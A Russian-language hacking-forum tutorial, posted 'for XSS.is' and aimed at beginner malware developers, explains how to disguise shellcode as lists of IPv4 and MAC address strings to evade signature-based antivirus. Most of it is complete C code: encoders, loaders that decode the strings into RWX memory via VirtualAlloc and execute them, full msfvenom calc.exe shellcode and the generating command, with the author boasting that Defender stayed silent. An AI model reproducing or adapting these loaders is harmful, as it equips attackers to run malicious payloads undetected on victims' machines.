Простейшие методы сокрытия шелл-кода для самых маленьких

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор: shqnx
Специально для XSS.is

Привет, мои маленькие любители разработки мальвари. В данной статье мы поговорим о двух простейших методах сокрытия шелл-кода, которые помогут обойти антивирусную проверку, основанную на сигнатурах. Особо опытные - вам наверняка тут делать нечего. Материал рассчитан на новичков. Без лишних слов приступаем к делу.

IPv4
Начнём с базовой информации касаемо IPv4. Адреса в этой версии протокола имеют длину 4 байта. Записываются в виде четырёх десятичных чисел, разделённых точками. Шелл-код, в свою очередь, также состоит из байтов. Исходя из этой информации, я думаю многие из вас уже догадались, к чему всё идет. Наша первоначальная задача - написать обфускатор шелл-кода в формат IPv4-адресов. Теперь приступаем к реализации. В процессе буду пояснять код для лучшего понимания.

И так, подключаем заголовочные файлы для работы с функциями ввода-вывода, для работы со строками и для работы с динамическим выделением памяти и другими утилитами:
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

[ . . . ]

И сразу же переходим к функции, которая будет преобразовывать шелл-код в IPv4-адреса:
C: Скопировать в буфер обмена
Код:
[ . . . ]

char** bytesToIPv4(const unsigned char* bytes, size_t bytesSize, size_t* ipCount) {
    size_t count = bytesSize / 4;
    char** ipAddresses = (char**)malloc(count * sizeof(char*));

    if (ipAddresses == NULL) {
        return NULL;
    }

    [ . . . ]

Наша функция bytesToIPv4 принимает три аргумента: указатель на массив байтов, который нужно преобразовать (bytes), размер массива байтов (bytesSize) и указатель на переменную, в которую будет записано количество IPv4-адресов (ipCount).

Функция вычисляет количество IPv4-адресов и выделяет память под массив указателей, где каждый указатель будет указывать на строку с IPv4-адресом. Далее проверяем успешность выделения памяти. Если выделение памяти не удалось, то функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Код:
    [ . . . ]

    *ipCount = 0;
    for (size_t i = 0; i < bytesSize; i += 4) {
        if (i + 3 < bytesSize) {
            char* ip = (char*)malloc(16 * sizeof(char));

            [ . . . ]

Далее инициализируем наш счётчик ipCount нулём и начинаем цикл, который идёт с шагом в 4 байта (напомню, это размер одного IPv4-адреса). Внутри цикла проверяется, хватает ли оставшихся байтов для формирования полного IPv4-адреса. Если байтов достаточно, выделяется память для строки, которая будет содержать IP-адрес (16 байт достаточно для хранения адреса формата "xxx.xxx.xxx.xxx"). Продолжим:
C: Скопировать в буфер обмена
Код:
            [ . . . ]

            if (ip == NULL) {
                return NULL;
            }

            snprintf(ip, 16, "%d.%d.%d.%d", bytes[i], bytes[i + 1], bytes[i + 2], bytes[i + 3]);
            ipAddresses[*ipCount] = ip;
            (*ipCount)++;
        }
    }

    return ipAddresses;
}

[ . . . ]

Опять проверка успешности выделения памяти с той же логикой. Далее с помощью функции snprintf байты преобразуются в строку формата "x.x.x.x". Эта строка сохраняется в массив ipAddresses. После этого увеличивается счётчик ipCount. Переходим к функции main:
C: Скопировать в буфер обмена
Код:
[ . . . ]

int main() {
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        /*------[. . .]------*/
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    size_t shellcodeSize = sizeof(shellcode);

    [ . . . ]

В данном примере я использовал калькуляторный PoC шелл-код из MSFvenom. Сгенерировать его можно выполнив следующую команду:
msfvenom -p windows/x64/exec CMD="calc.exe" -f c
Нажмите, чтобы раскрыть...

Для удобства чтения я обрезал часть шелл-кода. В конце каждого из показанных методов сокрытия будет прикреплён полный код.

И так, в функции main задаётся массив shellcode, содержащий байты для преобразования в IPv4-адреса. Переменная shellcodeSize содержит размер шелл-кода в байтах. Думаю тут всё понятно, переходим далее:
C: Скопировать в буфер обмена
Код:
    [ . . . ]

    size_t ipCount;
    char** ipAddresses = bytesToIPv4(shellcode, shellcodeSize, &ipCount);

    if (ipAddresses == NULL) {
        return EXIT_FAILURE;
    }

    printf("char* ipAddresses[] = {\n");
    for (size_t i = 0; i < ipCount; i++) {
        printf("\"%s\"", ipAddresses[i]);
        if (i < ipCount - 1) {
            printf(",");
            printf("\n");
        }
        free(ipAddresses[i]);
    }
    printf(" };\n");

    free(ipAddresses);

    return EXIT_SUCCESS;
}

Здесь вызывается функция bytesToIPv4, которая возвращает массив строковых представлений IPv4-адресов и записывает их количество в переменную ipCount. Если ipAddresses возвращает NULL, то программа завершает своё выполнение с кодом ошибки. Далее программа выводит массив строк на экран. После каждого вывода IPv4-адреса, память, выделенная под этот адрес, освобождается. В конце освобождается память, выделенная под массив указателей. А теперь давайте запустим нашу программу и посмотрим, что получилось:
1725478958291.png


1725478968396.png



Как мы видим, программа отработала корректно и выдала нам длинный массив IPv4-адресов, который уже можно смело копипастить в код.

И так, преобразователь готов. Для проверки работоспособности нашего творения напишем ещё одну небольшую программу. Если первый шаг был написание обфускатора, то второй шаг - написание деобфускатора. Этим мы и займёмся в первую очередь. Приступим же:
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

unsigned char* IPv4ToBytes(char** ipAddresses, size_t ipCount, size_t* bytesSize) {
    *bytesSize = ipCount * 4;
    unsigned char* bytes = (unsigned char*)malloc(*bytesSize);

    if (bytes == NULL) {
        return NULL;
    }

    [ . . . ]

Подключаем заголовочные файлы для работы с Windows API и для работы с функциями ввода-вывода. Далее начинаем создавать нашу функцию обратного преобразования. Она будет принимать три параметра: массив строк, содержащих IPv4-адреса (ipAddresses), количество IPv4-адресов в массиве (ipCount) и указатель на переменную, в которой будет сохранён размер полученного массива байтов (bytesSize). Далее выделяем память для массива, который будет содержать IPv4-адреса в виде байтов. Так как каждому IPv4-адресу требуется 4 байта, то для всех адресов нужно ipCount * 4 байт. Если память не удалось выделить (если malloc вернул NULL), функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Код:
    [ . . . ]

    for (size_t i = 0; i < ipCount; i++) {
        unsigned char octets[4];
        if (sscanf_s(ipAddresses[i], "%hhu.%hhu.%hhu.%hhu",
            &octets[0], &octets[1],
            &octets[2], &octets[3]) != 4) {
            free(bytes);
            return NULL;
        }

        memcpy(bytes + i * 4, octets, 4);
    }

    return bytes;
}

[ . . . ]

Для каждого IPv4-адреса в массиве строк вызывается функция sscanf_s, которая разбивает строку на четыре октета (1 октет = 1 байт) и сохраняет их в массив octets. Здесь мы используем форматную строку, которая указывает, что ожидаются четыре числа, разделенные точками. %hhu используется для считывания значения в unsigned char. Если sscanf_s не может распознать IP-адрес (то есть не удаётся считать четыре октета), выделенная память освобождается, а функция возвращает NULL. Далее memcpy копирует октеты в соответствующее место в общем массиве байтов. И, наконец, функция возвращает указатель на массив байтов. Переходим к функции main:
C: Скопировать в буфер обмена
Код:
[ . . . ]

int main() {
    char* ipAddresses[] = {
    "252.72.131.228",
    /*------[ . . . ]------*/
    "101.120.101.0" };

    size_t ipCount = sizeof(ipAddresses) / sizeof(ipAddresses[0]);
    size_t bytesSize;
    unsigned char* bytes = IPv4ToBytes(ipAddresses, ipCount, &bytesSize);

    if (bytes == NULL) {
        return EXIT_FAILURE;
    }

    [ . . . ]

Объявляем массив ipAddresses, который мы получили в результате работы нашей программы для преобразований. Далее определяем количество всех IPv4-адресов и преобразовываем их в байты с помощью нашей функции IPv4ToBytes. Если эта функция возвращает NULL, то программа завершает работу с кодом ошибки. Продолжим:
C: Скопировать в буфер обмена
Код:
    [ . . . ]

    void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (execMemory == NULL) {
        free(bytes);
        return EXIT_FAILURE;
    }

    memcpy(execMemory, bytes, bytesSize);

    free(bytes);

    ((void(*)())execMemory)();

    VirtualFree(execMemory, 0, MEM_RELEASE);

    return EXIT_SUCCESS;
}

Тут мы выделяем память для исполнения кода при помощи функции VirtualAlloc. Если память не выделилась, программа освобождает память для байтов и завершает работу с кодом ошибки. Далее при помощи memcpy мы копируем байты в выделенную память. После того, как байты скопированы в память для выполнения, выделенная для них память больше не нужна и освобождается при помощи free. Далее интерпретируем выделенную память как функцию и вызываем её, таким образом исполняя наши байты как машинный код. После этого с помощью VirtualFree выделенная память освобождается. И, наконец, если всё прошло успешно, программа завершает работу.

Пришло время протестировать то, что у нас получилось:
1725479203914.png



Что и требовалось ожидать, дефендер не издал даже малейшего писка =).

Спойлер: Полный код
Спойлер: ipv4_encoder
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char** bytesToIPv4(const unsigned char* bytes, size_t bytesSize, size_t* ipCount) {
    size_t count = bytesSize / 4;
    char** ipAddresses = (char**)malloc(count * sizeof(char*));

    if (ipAddresses == NULL) {
        return NULL;
    }

    *ipCount = 0;
    for (size_t i = 0; i < bytesSize; i += 4) {
        if (i + 3 < bytesSize) {
            char* ip = (char*)malloc(16 * sizeof(char));

            if (ip == NULL) {
                return NULL;
            }

            snprintf(ip, 16, "%d.%d.%d.%d", bytes[i], bytes[i + 1], bytes[i + 2], bytes[i + 3]);
            ipAddresses[*ipCount] = ip;
            (*ipCount)++;
        }
    }

    return ipAddresses;
}

int main() {
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
    size_t shellcodeSize = sizeof(shellcode);

    size_t ipCount;
    char** ipAddresses = bytesToIPv4(shellcode, shellcodeSize, &ipCount);

    if (ipAddresses == NULL) {
        return EXIT_FAILURE;
    }

    printf("char* ipAddresses[] = {\n");
    for (size_t i = 0; i < ipCount; i++) {
        printf("\"%s\"", ipAddresses[i]);
        if (i < ipCount - 1) {
            printf(",");
            printf("\n");
        }
        free(ipAddresses[i]);
    }
    printf(" };\n");

    free(ipAddresses);

    return EXIT_SUCCESS;
}
Спойлер: ipv4
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

unsigned char* IPv4ToBytes(char** ipAddresses, size_t ipCount, size_t* bytesSize) {
    *bytesSize = ipCount * 4;
    unsigned char* bytes = (unsigned char*)malloc(*bytesSize);

    if (bytes == NULL) {
        return NULL;
    }

    for (size_t i = 0; i < ipCount; i++) {
        unsigned char octets[4];
        if (sscanf_s(ipAddresses[i], "%hhu.%hhu.%hhu.%hhu",
            &octets[0], &octets[1],
            &octets[2], &octets[3]) != 4) {
            free(bytes);
            return NULL;
        }

        memcpy(bytes + i * 4, octets, 4);
    }

    return bytes;
}

int main() {
    char* ipAddresses[] = {
    "252.72.131.228",
    "240.232.192.0",
    "0.0.65.81",
    "65.80.82.81",
    "86.72.49.210",
    "101.72.139.82",
    "96.72.139.82",
    "24.72.139.82",
    "32.72.139.114",
    "80.72.15.183",
    "74.74.77.49",
    "201.72.49.192",
    "172.60.97.124",
    "2.44.32.65",
    "193.201.13.65",
    "1.193.226.237",
    "82.65.81.72",
    "139.82.32.139",
    "66.60.72.1",
    "208.139.128.136",
    "0.0.0.72",
    "133.192.116.103",
    "72.1.208.80",
    "139.72.24.68",
    "139.64.32.73",
    "1.208.227.86",
    "72.255.201.65",
    "139.52.136.72",
    "1.214.77.49",
    "201.72.49.192",
    "172.65.193.201",
    "13.65.1.193",
    "56.224.117.241",
    "76.3.76.36",
    "8.69.57.209",
    "117.216.88.68",
    "139.64.36.73",
    "1.208.102.65",
    "139.12.72.68",
    "139.64.28.73",
    "1.208.65.139",
    "4.136.72.1",
    "208.65.88.65",
    "88.94.89.90",
    "65.88.65.89",
    "65.90.72.131",
    "236.32.65.82",
    "255.224.88.65",
    "89.90.72.139",
    "18.233.87.255",
    "255.255.93.72",
    "186.1.0.0",
    "0.0.0.0",
    "0.72.141.141",
    "1.1.0.0",
    "65.186.49.139",
    "111.135.255.213",
    "187.240.181.162",
    "86.65.186.166",
    "149.189.157.255",
    "213.72.131.196",
    "40.60.6.124",
    "10.128.251.224",
    "117.5.187.71",
    "19.114.111.106",
    "0.89.65.137",
    "218.255.213.99",
    "97.108.99.46",
    "101.120.101.0" };

    size_t ipCount = sizeof(ipAddresses) / sizeof(ipAddresses[0]);
    size_t bytesSize;
    unsigned char* bytes = IPv4ToBytes(ipAddresses, ipCount, &bytesSize);

    if (bytes == NULL) {
        return EXIT_FAILURE;
    }

    void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (execMemory == NULL) {
        free(bytes);
        return EXIT_FAILURE;
    }

    memcpy(execMemory, bytes, bytesSize);

    free(bytes);

    ((void(*)())execMemory)();

    VirtualFree(execMemory, 0, MEM_RELEASE);

    return EXIT_SUCCESS;
}

Перейдём к следующему методу.

MAC
По старинке начнём с базовой информации. MAC-адрес имеет длину 6 байт. Записывается в виде шести частей, каждая из которых состоит из двух шестнадцатеричных цифр, которые представляют собой один байт. Части разделены между собой двоеточием. Суть не меняется, меняются лишь подходы к реализации. Нас всё так же интересует написание обфускатора, только на сей раз преобразовывая байты в MAC-адреса. Приступим:
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char** bytesToMAC(const unsigned char* bytes, size_t bytesSize, size_t* macCount) {
    size_t count = bytesSize / 6;
    char** macAddresses = (char**)malloc(count * sizeof(char*));

    if (macAddresses == NULL) {
        return NULL;
    }

    [ . . . ]

Начинаем вновь с того, что подключаем заголовочные файлы и начинаем написание нашей функции для преобразования. Функция всё так же принимает три аргумента: указатель на массив байтов, который будет преобразован в MAC-адреса (bytes), размер массива байтов (bytesSize) и указатель на переменную, куда будет записано количество найденных MAC-адресов (macCount). Внутри функции вычисляется количество возможных MAC-адресов. Так как каждый MAC-адрес занимает 6 байт, то размер массива байтов делится на 6. Далее выделяется память для массива указателей на строки, каждая из которых будет хранить один MAC-адрес. Если память не выделяется (macAddresses == NULL), функция возвращает NULL. Переходим далее:
C: Скопировать в буфер обмена
Код:
    [ . . . ]

    *macCount = 0;
    for (size_t i = 0; i < bytesSize; i += 6) {
        if (i + 5 < bytesSize) {
            char* mac = (char*)malloc(18 * sizeof(char));

            if (mac == NULL) {
                return NULL;
            }

            [ . . . ]

Тут мы инициализируем счётчик найденных MAC-адресов. Далее цикл проходит по массиву байтов с шагом 6 байт. Выделяется память для строки длиной 18 символов, которая будет содержать один MAC-адрес в текстовом формате (18 байт достаточно для хранения адреса формата "xx:xx:xx:xx:xx:xx"). Если память не выделилась (mac == NULL), функция возвращает NULL. Продолжим:
C: Скопировать в буфер обмена
Код:
            [ . . . ]

            snprintf(mac, 18, "%02x:%02x:%02x:%02x:%02x:%02x",
                bytes[i], bytes[i + 1], bytes[i + 2],
                bytes[i + 3], bytes[i + 4], bytes[i + 5]);
            macAddresses[*macCount] = mac;
            (*macCount)++;
        }
    }

    return macAddresses;
}

[ . . . ]

Здесь snprintf формирует строку MAC-адреса из 6 байт. Сформированный MAC-адрес сохраняется в массив macAddresses и увеличивается счётчик адресов macCount. И, наконец, после завершения цикла функция возвращает массив строк с MAC-адресами. Функция main остаётся такой же, как и в методе с IPv4. Поэтому повторный раз объяснять я не вижу смысла. Меняются только названия переменных и название вызываемой функции:
C: Скопировать в буфер обмена
Код:
[ . . . ]

int main() {
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        /*------[ . . . ]------*/
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

    size_t shellcodeSize = sizeof(shellcode);

    size_t macCount;
    char** macAddresses = bytesToMAC(shellcode, shellcodeSize, &macCount);

    if (macAddresses == NULL) {
        return EXIT_FAILURE;
    }

    printf("char* macAddresses[] = {\n");
    for (size_t i = 0; i < macCount; i++) {
        printf("\"%s\"", macAddresses[i]);
        if (i < macCount - 1) {
            printf(",");
            printf("\n");
        }
        free(macAddresses[i]);
    }
    printf(" };\n");

    free(macAddresses);

    return EXIT_SUCCESS;
}

Проверим, что у нас получилось:
1725479593611.png


1725479598772.png



Всё корректно. Опять же можно брать и копипастить в код. Вот только кода, в который можно это копипастить у нас ещё нет. Зато остался "макет" с методом, основанным на IPv4. Так что спокойно можем отредактировать его под новые нужды. Начнём с написания функции обратного преобразования:
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

unsigned char* MACToBytes(char** macAddresses, size_t macCount, size_t* bytesSize) {
    *bytesSize = macCount * 6;
    unsigned char* bytes = (unsigned char*)malloc(*bytesSize);

    if (bytes == NULL) {
        return NULL;
    }

    [ . . . ]

Тут нам уже всё знакомо. Подключаем заголовочные файлы, определяем функцию MACToBytes, принимающую три аргумента. Далее вычисляем размер массива байтов. Так как каждому MAC-адресу требуется 6 байт, то для всех адресов нужно macCount * 6 байт. Выделяем память для массива байтов, при неудаче возвращаем NULL. Продолжим:
C: Скопировать в буфер обмена
Код:
    [ . . . ]

    for (size_t i = 0; i < macCount; i++) {
        unsigned char octets[6];
        if (sscanf_s(macAddresses[i], "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
            &octets[0], &octets[1], &octets[2],
            &octets[3], &octets[4], &octets[5]) != 6) {
            free(bytes);
            return NULL;
        }

        memcpy(bytes + i * 6, octets, 6);
    }

    return bytes;
}

[ . . . ]

Для каждого MAC-адреса выполняется разбор строки с помощью sscanf_s, затем извлекается 6 байтов из строки в массив octets. Если разбор не удался, то выделенная память освобождается, и функция возвращает NULL. Если разбор успешен, байты копируются в выделенную область памяти. И, наконец, возвращается указатель на массив байтов. Функция main не требует никаких сложных изменений, чтобы это было необходимо объяснять. Заменяем массив с IPv4-адресами на массив с MAC-адресами и меняем названия переменных и вызываемой функции:
C: Скопировать в буфер обмена
Код:
[ . . . ]

int main() {
    char* macAddresses[] = {
    "fc:48:83:e4:f0:e8",
    /*------[ . . . ]------*/
    "63:2e:65:78:65:00" };
    size_t macCount = sizeof(macAddresses) / sizeof(macAddresses[0]);
    size_t bytesSize;
    unsigned char* bytes = MACToBytes(macAddresses, macCount, &bytesSize);

    if (bytes == NULL) {
        return EXIT_FAILURE;
    }

    void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (execMemory == NULL) {
        free(bytes);
        return EXIT_FAILURE;
    }

    memcpy(execMemory, bytes, bytesSize);

    free(bytes);

    ((void(*)())execMemory)();

    VirtualFree(execMemory, 0, MEM_RELEASE);

    return EXIT_SUCCESS;
}

И так, проверка данного метода:
1725479795569.png



Всё отработало без нареканий.

Спойлер: Полный код
Спойлер: mac_encoder
C: Скопировать в буфер обмена
Код:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char** bytesToMAC(const unsigned char* bytes, size_t bytesSize, size_t* macCount) {
    size_t count = bytesSize / 6;
    char** macAddresses = (char**)malloc(count * sizeof(char*));

    if (macAddresses == NULL) {
        return NULL;
    }

    *macCount = 0;
    for (size_t i = 0; i < bytesSize; i += 6) {
        if (i + 5 < bytesSize) {
            char* mac = (char*)malloc(18 * sizeof(char));

            if (mac == NULL) {
                return NULL;
            }

            snprintf(mac, 18, "%02x:%02x:%02x:%02x:%02x:%02x",
                bytes[i], bytes[i + 1], bytes[i + 2],
                bytes[i + 3], bytes[i + 4], bytes[i + 5]);
            macAddresses[*macCount] = mac;
            (*macCount)++;
        }
    }

    return macAddresses;
}

int main() {
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
        "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
        "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
        "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
        "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
        "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
        "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
        "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
        "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
        "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
        "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
        "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
        "\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
        "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
        "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
        "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

    size_t shellcodeSize = sizeof(shellcode);

    size_t macCount;
    char** macAddresses = bytesToMAC(shellcode, shellcodeSize, &macCount);

    if (macAddresses == NULL) {
        return EXIT_FAILURE;
    }

    printf("char* macAddresses[] = {\n");
    for (size_t i = 0; i < macCount; i++) {
        printf("\"%s\"", macAddresses[i]);
        if (i < macCount - 1) {
            printf(",");
            printf("\n");
        }
        free(macAddresses[i]);
    }
    printf(" };\n");

    free(macAddresses);

    return EXIT_SUCCESS;
}
Спойлер: mac
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>

unsigned char* MACToBytes(char** macAddresses, size_t macCount, size_t* bytesSize) {
    *bytesSize = macCount * 6;
    unsigned char* bytes = (unsigned char*)malloc(*bytesSize);

    if (bytes == NULL) {
        return NULL;
    }

    for (size_t i = 0; i < macCount; i++) {
        unsigned char octets[6];
        if (sscanf_s(macAddresses[i], "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
            &octets[0], &octets[1], &octets[2],
            &octets[3], &octets[4], &octets[5]) != 6) {
            free(bytes);
            return NULL;
        }

        memcpy(bytes + i * 6, octets, 6);
    }

    return bytes;
}

int main() {
    char* macAddresses[] = {
    "fc:48:83:e4:f0:e8",
    "c0:00:00:00:41:51",
    "41:50:52:51:56:48",
    "31:d2:65:48:8b:52",
    "60:48:8b:52:18:48",
    "8b:52:20:48:8b:72",
    "50:48:0f:b7:4a:4a",
    "4d:31:c9:48:31:c0",
    "ac:3c:61:7c:02:2c",
    "20:41:c1:c9:0d:41",
    "01:c1:e2:ed:52:41",
    "51:48:8b:52:20:8b",
    "42:3c:48:01:d0:8b",
    "80:88:00:00:00:48",
    "85:c0:74:67:48:01",
    "d0:50:8b:48:18:44",
    "8b:40:20:49:01:d0",
    "e3:56:48:ff:c9:41",
    "8b:34:88:48:01:d6",
    "4d:31:c9:48:31:c0",
    "ac:41:c1:c9:0d:41",
    "01:c1:38:e0:75:f1",
    "4c:03:4c:24:08:45",
    "39:d1:75:d8:58:44",
    "8b:40:24:49:01:d0",
    "66:41:8b:0c:48:44",
    "8b:40:1c:49:01:d0",
    "41:8b:04:88:48:01",
    "d0:41:58:41:58:5e",
    "59:5a:41:58:41:59",
    "41:5a:48:83:ec:20",
    "41:52:ff:e0:58:41",
    "59:5a:48:8b:12:e9",
    "57:ff:ff:ff:5d:48",
    "ba:01:00:00:00:00",
    "00:00:00:48:8d:8d",
    "01:01:00:00:41:ba",
    "31:8b:6f:87:ff:d5",
    "bb:f0:b5:a2:56:41",
    "ba:a6:95:bd:9d:ff",
    "d5:48:83:c4:28:3c",
    "06:7c:0a:80:fb:e0",
    "75:05:bb:47:13:72",
    "6f:6a:00:59:41:89",
    "da:ff:d5:63:61:6c",
    "63:2e:65:78:65:00" };
    size_t macCount = sizeof(macAddresses) / sizeof(macAddresses[0]);
    size_t bytesSize;
    unsigned char* bytes = MACToBytes(macAddresses, macCount, &bytesSize);

    if (bytes == NULL) {
        return EXIT_FAILURE;
    }

    void* execMemory = VirtualAlloc(NULL, bytesSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (execMemory == NULL) {
        free(bytes);
        return EXIT_FAILURE;
    }

    memcpy(execMemory, bytes, bytesSize);

    free(bytes);

    ((void(*)())execMemory)();

    VirtualFree(execMemory, 0, MEM_RELEASE);

    return EXIT_SUCCESS;
}

На этой ноте я бы хотел подводить итоги и заканчивать статью. Большое спасибо всем, кто прочитал до этого момента. Очень надеюсь, что кому-либо пригодится сказанное здесь. Само собой на этом не ограничиваются все методы, можно придумать и свой кастомный, тут дело лишь вашей фантазии и креативности. Всем успехов!
 
Сверху Снизу